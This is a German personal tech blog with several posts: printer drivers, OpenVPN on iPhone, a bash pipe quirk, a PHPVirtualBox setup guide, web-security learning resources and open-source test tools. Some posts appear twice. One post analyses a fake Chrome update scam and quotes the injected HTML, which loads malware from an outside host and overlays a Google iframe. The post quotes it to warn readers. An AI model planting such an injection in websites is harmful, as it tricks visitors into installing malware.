Heute ging es daran ein antikes Schmuckstück, EPSON LQ-550 an einem inzwischen auch schon veralteten Windows Vista Computer anzuschliessen. Vista bietet den Druckertreiber unverständlicherweise von Haus aus nicht mehr an. Treiber zum Download gibt es nur für Windows 98. Es gibt auch mit dem omniprint Projekt einen CUPS Linux Treiber - vielleicht etwas für die nächste Migration auf Linux! Allerdings gibt es mit etwas Googlen die Information, dass der Drucker von Windows XP unterstützt wird. Plan: XP Treiber für Vista recyclen
Wo sind die alten Treiber auf der Windows XP CD?
Die Treiber von Windows XP kommen in einer Datei D:\WINXP\I386\driver.cab. Driver.cab enthält dann den konkreten Treiber ep24res.dll und die GPD-Beschreibungsdatei EP550.GPD. Allerdings können diese beiden nur durch eine inf-Datei installiert werden. Zum Glück muss man diese nicht selbst erstellen, sondern Windows XP bringt die schon im Verzeichnis D:\WINXP\I386 selbst mit.
Wie werden diese unter Windows Vista verwendet?
Im Drukermenü kann ein neuer Drucker hinzugefügt werden und dort muss dann ein eigener Pfad der Treiberdaten angegeben werden. Dieser Pfad ist D:\WINXP\I386. Danach bietet Vista die komplette Treiberliste von Windows XP an. Hier kann man direkt das richtige Modell auswählen.
Und voila - der alte Nadeldrucker verrichtet auch selbst unter Windows Vista tadellos seine Dienste.
Tuesday, January 25, 2011
Monday, January 10, 2011
OpenVPN zwischen iPhone und FritzBox
Wieso OpenVPN?
Nachteile des AVM VPNs mit IPSeC:
- das iPhone verlangt immer ein Passwort
- es wird nicht der gesamte Verkehr übers VPN geleitet
PPTP geht mit Freetz und der FritzBox Beta Labor nicht, weil AVM dort keine Kernel Quellcodes bereitstellt. Bei OpenVPN geht alles auch mit der Labor Version, wenn es auch etwas Aufwand verlangt.
Setup von OpenVPN auf dem iPhone
Ich bin nach einer Anleitung für OpenVPN und Freetz [1] und einer Anleitung für OpenVPN und das iPhone [2] und [3] vorgegangen. Dort fehlt allerdings ein für mich wichtiger Punkt:
Den gesamten Traffic durch den Tunnel leiten
Die Weiterleitung des gesamten Traffics ist unter Mac OSX und iOS nicht so gehandhabt, wie auf anderen Unixen. Die Routen lassen sich mit "netstat -r" anzeigen und mit dem OSX-eigenen Tool "scutil" umsetzen.
Zur Weiterleitung des gesamten Updates wird das Attribut "OverridePrimary" verwendet, siehe Beispielscript unter [4]. Dazu habe ich in der Datei aus dem Guide oben den Eintrag für "update-resolv-conf" gesucht und dort zwischen die anderen d.add Befehle "d.add OverridePrimary # 1" eingefügt. Damit wird der gesamte Traffic über das VPN geleitet.
Fazit, Vergleich OpenVPN und andere
Bei mir hat das soweit funktioniert, ich hatte aber doch bei Sprachgesprächen einen Hall, was vielleicht an der latenzträchtigen UDP-Kapselung von OpenVPN liegt. Nach meinem Gefühl ist es bei PPTP nicht so hörbar. Also forsche ich weiter nach der perfekten iSIP iPhone FritzBox VPN Telefonie Lösung.
[1] http://freetz.org/wiki/packages/openvpn
[2] http://dokuwiki.knallimall.org/iphone:openvpn
[3] http://chandraonline.net/blog/?p=22
[4] http://www.bsdforen.de/showthread.php?p=212991
Nachteile des AVM VPNs mit IPSeC:
- das iPhone verlangt immer ein Passwort
- es wird nicht der gesamte Verkehr übers VPN geleitet
PPTP geht mit Freetz und der FritzBox Beta Labor nicht, weil AVM dort keine Kernel Quellcodes bereitstellt. Bei OpenVPN geht alles auch mit der Labor Version, wenn es auch etwas Aufwand verlangt.
Setup von OpenVPN auf dem iPhone
Ich bin nach einer Anleitung für OpenVPN und Freetz [1] und einer Anleitung für OpenVPN und das iPhone [2] und [3] vorgegangen. Dort fehlt allerdings ein für mich wichtiger Punkt:
Den gesamten Traffic durch den Tunnel leiten
Die Weiterleitung des gesamten Traffics ist unter Mac OSX und iOS nicht so gehandhabt, wie auf anderen Unixen. Die Routen lassen sich mit "netstat -r" anzeigen und mit dem OSX-eigenen Tool "scutil" umsetzen.
Zur Weiterleitung des gesamten Updates wird das Attribut "OverridePrimary" verwendet, siehe Beispielscript unter [4]. Dazu habe ich in der Datei aus dem Guide oben den Eintrag für "update-resolv-conf" gesucht und dort zwischen die anderen d.add Befehle "d.add OverridePrimary # 1" eingefügt. Damit wird der gesamte Traffic über das VPN geleitet.
Fazit, Vergleich OpenVPN und andere
Bei mir hat das soweit funktioniert, ich hatte aber doch bei Sprachgesprächen einen Hall, was vielleicht an der latenzträchtigen UDP-Kapselung von OpenVPN liegt. Nach meinem Gefühl ist es bei PPTP nicht so hörbar. Also forsche ich weiter nach der perfekten iSIP iPhone FritzBox VPN Telefonie Lösung.
[1] http://freetz.org/wiki/packages/openvpn
[2] http://dokuwiki.knallimall.org/iphone:openvpn
[3] http://chandraonline.net/blog/?p=22
[4] http://www.bsdforen.de/showthread.php?p=212991
Wednesday, December 22, 2010
Warten auf Standard-Ausgabe in Bash oder offene Pfeife
Das Problem
Nach Aufruf eines Dämons (hier sleep) kehrt die Bash nicht gleich zurück sondern wartet.$ time ( sleep 3 &)|cat; ps real 0m3.005s user 0m0.000s sys 0m0.004s PID TTY TIME CMD 7644 pts/0 00:00:00 bash 14552 pts/0 00:00:00 ps
Erklärung
Das "sleep" Kommando in der Subshell "( )" soll in den Hintergrund gehen "&". Danach soll die Ausgabe des symbolischen "sleep"-Dämons mit einem symbolischen "cat" verarbeitet werden. Die Zeitmessung "time" dauert statt der erwarteten 0.0x volle 3 Sekunden und "sleep" ist nach dem Aufruf nicht in der Prozessliste sichtbar.Analyse
Das passiert nur, wenn die Ausgabe über eine Pfeife "|" geleitet wird. "cat" muss auf alle Eingaben warten, bevor es sich selbst schließt.Workaround
$ time ( sleep 3 &)>/dev/null|cat; ps real 0m0.003s user 0m0.000s sys 0m0.004s PID TTY TIME CMD 7644 pts/0 00:00:00 bash 17449 pts/0 00:00:00 sleep 17450 pts/0 00:00:00 psHier wird die Standardausgabe auf /dev/null umgelenkt. Damit muss "cat" nicht mehr auf die Ausgabe warten. Ein definiertes Logging kann auch in eine Datei erfolgen, falls man die Ausgabe behalten möchte:
$ ( sleep 3 &)>/var/log/meindaemon.log|cat
Empfehlung
Ein "richtiger" Dämon sollte immer selbst Standardaus- und Eingaben abkoppeln um nicht noch gekoppelte Prozesse in der aufrufenden Shell aufzuhalten.Tools zum Debuggen
- lsof -p (PID) Offene Dateien eines Programmes auflisten
- pfiles (PID) Schöner offene Dateien eines Programmes auflisten
- fuser (Datei) Herausfinden, von welcher PID eine Datei geöffnet wird
Wednesday, December 15, 2010
Leichtgläubigkeit und Virenverteilung im Browser
Heute wurde mir bei der Immobiliensuche ein Chrome Browser in der Version 10 angeboten. Sehr geschickt ist in einem Iframe unterhalb die Seite von Google eingeblendet um den Anschein von Vertrauen zu erwecken. Wer sich allerdings auskennt, kann im Release Blog nachsehen, dass es Version 10 noch gar nicht gibt [1]. Bei einem Klick auf "Aktualisierung starten" wird eine vermutlich virenbelastete .exe-Datei "Chrome_5_update.exe" heruntergeladen.
Beim "Abbrechen" ist mein System möglicherweise gefährdet - und ich lande auf domport.de. Vermutlich hat die Domaininhaberin ihre Website aufgegeben oder noch gar nicht erstellt, und leitet deshalb auf einen Domain Parker um. Diese versuchen durch den Traffic noch Werbeeinnahmen zu erzielen. Allerdings ist hier wohl das System von Domport manipuliert. Ich habe DOMPORT per E-Mail informiert aber bisher (24.12.) keine Antwort bekommen.
Wie funktioniert diese Weiterleitung technisch? Im Code, der von http://immobilien-muenchen-flughafen.de/ ausgeliefert wird, steht folgendes:
<script type="text/javascript" src="http://www.updates-browser.com/update_layer/layer_os.php?au=http%3A%2F%2Fparking.domport.de%2F%3Fdomain%3Dimmobilien-muenchen-flughafen.de"></script> <script language="javascript">window.setTimeout('updatepop()',3000);</script> <iframe width="100%" height="100%" src="http://www.google.de/search?q=www.immobilien-muenchen-flughafen.de" border="0" frameborder="0" style="border:0px;"></iframe>
Der erste Script Aufruf holt sich den Malware-Code bei updates-browser.com, danach wird dem Browser ein iframe mit einer Google-Suche untergeschoben. Dadurch sieht das ganze für den Laien vertrauenswürdig aus.
Die Moral: Vorsicht, Google Chrome updated sich von selbst, niemals ein Updatefenster akzieptieren!
Das Spoofing ist bekannt im Netz und zum Beispiel auch auf www.sandmeannchen.de aktiv [2]. Auch heise[3] berichtete darüber.
Ich hoffe hiermit verhindere ich einige Infektionen!
[1] http://googlechromereleases.blogspot.com
[2] http://www.freak-search.com/de/thread/3204336/spoofing_seite
[3] http://www.heise.de/newsticker/meldung/Vorgebliche-Browser-Updates-installieren-Ad-Ware-1138301.html
Friday, December 3, 2010
VirtualBox Webinterface PHPVirtualBox einrichten unter Linux
Wieso Virtualbox?
VMWare, KVM+libvirt, Qemu, was nimmt man nur? Am technologisch "besten" soll libvirt und KVM sein. Aber dafür gibt es kein geeignetes Webinterface. Dagegen ist PHPVirtualbox eine geniale Lösung, die sehr stark dem Desktop-Client nachempfunden ist. Auch ohne Vorkenntnisse sollte man sehr gut damit zurecht kommen. Hier gibt es zum Einstieg ein HOWTO mit einer Schritt für Schritt Anleitung.
Virtualbox unter Ubuntu installieren
Zunächst will Ubuntu wissen woher es Virtualbox bekommt. Ich nehme in diesem Beispiel die LTS Version 10.04 oder "Lucid", das sollte bei anderen Versionen geändert werden.
Zunächst brauchen wir PHP selbst, dann kann auch die Applikation installiert werden.
Danach ist es noch nötig, die Datei "/var/www/phpvirtualbox-0.5/config.php" anzupassen:
Datei /var/www/phpvirtualbox-0.5/.htaccess
Vmwares disk images im VMDK Format können direkt von VirtualBox verwendet werden, allerdings nicht, wenn sie in mehrere Dateien aufgeteilt sind. Zusammenfügen von Images:
- IDE festplatte wählen statt SATA
- Host-only networking
Remote Desktop Verbindung mit VRDP absichern [Update 4.12]
Die remote Desktop Verbindung ist wunderschön zum einrichten von virtuellen Maschinen. Nur leider ist das per Default ohne Passwort. Das entsprechende Kapitel in der Virtualbox Anleitung erklärt, was die verschiedenen Methoden "External" oder "Guest" bedeuten. So richtig befriedigend finde ich diese Sicherungsmethoden aber nicht. Hier sollte Virtualbox noch nachbessern.
Weblinks
PHPVirtualbox Website
Blogeintrag Moving from VMWare to VirtualBox. PHPVirtualBox on Ubuntu.
VMWare, KVM+libvirt, Qemu, was nimmt man nur? Am technologisch "besten" soll libvirt und KVM sein. Aber dafür gibt es kein geeignetes Webinterface. Dagegen ist PHPVirtualbox eine geniale Lösung, die sehr stark dem Desktop-Client nachempfunden ist. Auch ohne Vorkenntnisse sollte man sehr gut damit zurecht kommen. Hier gibt es zum Einstieg ein HOWTO mit einer Schritt für Schritt Anleitung.
Virtualbox unter Ubuntu installieren
Zunächst will Ubuntu wissen woher es Virtualbox bekommt. Ich nehme in diesem Beispiel die LTS Version 10.04 oder "Lucid", das sollte bei anderen Versionen geändert werden.
# Quellen bekannt machen echo -e "# Virtualbox Quelle für Lucid 10.04 deb http://download.virtualbox.org/virtualbox/debian lucid non-free" \ >> /etc/apt/sources.list # Den sicheren Schlüssel hinzufügen apt-key adv --recv-keys \ --keyserver keyserver.ubuntu.com 98AB5139 # Paketlisten aktualisieren apt-get update # VirtualBox installieren apt-get install virtualbox-3.2 # Benutzer hinzufügen useradd -m vbox vboxusers # Passwort setzen und merken für später passwd vbox # Benutzername für Init eintragen und starten echo "VBOXWEB_USER=vbox" >> /etc/vbox/vbox.cfgPHPVirtualBox installieren/etc/init.d/vboxdrv start /etc/init.d/vboxweb-service start # VirtualBox Bei jedem Booten starten update-rc.d vboxweb-service defaults
Zunächst brauchen wir PHP selbst, dann kann auch die Applikation installiert werden.
apt-get install php5cd /var/www/ # Downloaden und auspackenwget http://phpvirtualbox.googlecode.com/files/phpvirtualbox-0.5.zipunzip phpvirtualbox-0.5.ziprm phpvirtualbox-0.5.zip # apache starten und per default startenupdate-rc.d apache2 defaults/etc/init.d/apache2 restart
Danach ist es noch nötig, die Datei "/var/www/phpvirtualbox-0.5/config.php" anzupassen:
var $username = 'vbox'; var $password = 'GemerktesPasswortVonVorhin';Das Setup absichern
Datei /var/www/phpvirtualbox-0.5/.htaccess
AuthType Basic AuthName "Login to phpVirtualBox" AuthUserFile /var/www/phpvirtualbox-0.5/.htpasswd Require user vbox
Datei .htpasswd erzeugen, bitte mit sicherem Passwort:
htpasswd -c /var/www/phpvirtualbox-0.5/.htpasswd vboxDie .htpasswd Absicherung muss dann noch in der Apache Konfiguration für /var/www erlaubt werden:
/etc/apache2/sites-available/default:
<Directory /var/www>
...
AllowOverride None
...
</Directory>
ändern in:/etc/apache2/sites-available/default:
<Directory /var/www>
...
AllowOverride AuthConfig
...
</Directory>
VMWare Images zu VirtualBox konvertierenVmwares disk images im VMDK Format können direkt von VirtualBox verwendet werden, allerdings nicht, wenn sie in mehrere Dateien aufgeteilt sind. Zusammenfügen von Images:
vmware-vdiskmanager -r name-der-alten.vmdk -t 0 neuer-single-vmdk-name.vmdkBeim Erstellen der neuen Virtual Machines in VirtualBox habe ich auf folgendes geachtet:
- IDE festplatte wählen statt SATA
- Host-only networking
Remote Desktop Verbindung mit VRDP absichern [Update 4.12]
Die remote Desktop Verbindung ist wunderschön zum einrichten von virtuellen Maschinen. Nur leider ist das per Default ohne Passwort. Das entsprechende Kapitel in der Virtualbox Anleitung erklärt, was die verschiedenen Methoden "External" oder "Guest" bedeuten. So richtig befriedigend finde ich diese Sicherungsmethoden aber nicht. Hier sollte Virtualbox noch nachbessern.
Weblinks
PHPVirtualbox Website
Blogeintrag Moving from VMWare to VirtualBox. PHPVirtualBox on Ubuntu.
Wie programmiert man sichere Web Applikationen?
Jeder Web Entwickler sollte sich bewusst sein, dass unsicher programmierte Webapplikationen heute das Haupteinfallstor in sichere Unternehmensnetze sind.
Um diese Lücke zu schliessen wäre der beste Weg, einfach keine Lücken in Web Applikationen einzubauen. Allerdings passiert das einbauen von Lücken oft unbemerkt und manche Schlupflöcher sind eventuell noch gar nicht entdeckt. Um allerdings bekannte Fehler zu vermeiden, ist es zuerst nötig diese zu kennen. Frei nach dem Motto "know your enemy".
Eine Liste findet sich in den OWASP Top 10. Um etwas tiefer einzusteigen kann man sich die eigenen HTTP Header mit Hilfe des Burp proxy anschauen und modifizieren. Im Web gibt es eine Vielzahl von unsicheren Beispielapplikationen, die Lücken zum Live-Anschauen bieten, zum Beispiel: badstore, mutilidae, moth, eine Liste. Sehr geholfen hat mir auch das Buch "The Web Application Hackers Handbook" von den Machern von burp. Es ist zwar kein Schnäppchen aber lohnt sich doch für einen tieferen Einblick:
Disclaimer: Dies dient ausdrücklich nur dem Training und sichern von eigenen Web Applikationen.
Um diese Lücke zu schliessen wäre der beste Weg, einfach keine Lücken in Web Applikationen einzubauen. Allerdings passiert das einbauen von Lücken oft unbemerkt und manche Schlupflöcher sind eventuell noch gar nicht entdeckt. Um allerdings bekannte Fehler zu vermeiden, ist es zuerst nötig diese zu kennen. Frei nach dem Motto "know your enemy".
Eine Liste findet sich in den OWASP Top 10. Um etwas tiefer einzusteigen kann man sich die eigenen HTTP Header mit Hilfe des Burp proxy anschauen und modifizieren. Im Web gibt es eine Vielzahl von unsicheren Beispielapplikationen, die Lücken zum Live-Anschauen bieten, zum Beispiel: badstore, mutilidae, moth, eine Liste. Sehr geholfen hat mir auch das Buch "The Web Application Hackers Handbook" von den Machern von burp. Es ist zwar kein Schnäppchen aber lohnt sich doch für einen tieferen Einblick:
Disclaimer: Dies dient ausdrücklich nur dem Training und sichern von eigenen Web Applikationen.
Thursday, December 2, 2010
Testautomatisierung Open Source: Hudson, Fitnesse, JUnit
Zur Testautomatisierung verwende ich in der Regel kommerzielle Tools wie HP Loadrunner oder HP Quicktest Pro oder aber HP Quality Center.
Aber auch im Open Source Bereich gibt es viele interessante Testhelfer, hier eine kleine Auswahl:
- Hudson Automatisierte Buildprozesse inklusive Integration ins Versionsmanagement. Zum Beispiel build beim Subversion Checkin
- JUnit Bietet Möglichkeiten zum Testen von kleinen Codesegmenten. Vorteil: Es muss nicht zuerst die ganze Anwendung gebaut und gestartet werden.
- Maven ist ein standardisiertes "Makefile" für Java. Das Tool ermöglicht automatischen Download von Abhängigkeiten und bindet viele Testtools ein.
- Fitnesse speichert Tests in einem Wiki und ermöglicht die schöne Ausführung.
- Fitnesse speichert Tests in einem Wiki und ermöglicht die schöne Ausführung.
- Selenium ist ein Web-Testing Framework um die Oberfläche von Webanwendungen durch einen Browser automatisiert zu testen.
- JMeter ermöglicht einen Lasttest durch Aufzeichen und späteres abspielen der Anfragen. Selenium benötigt pro User einen laufenden Browser und skaliert deshalb hier nicht gut.
Subscribe to:
Posts (Atom)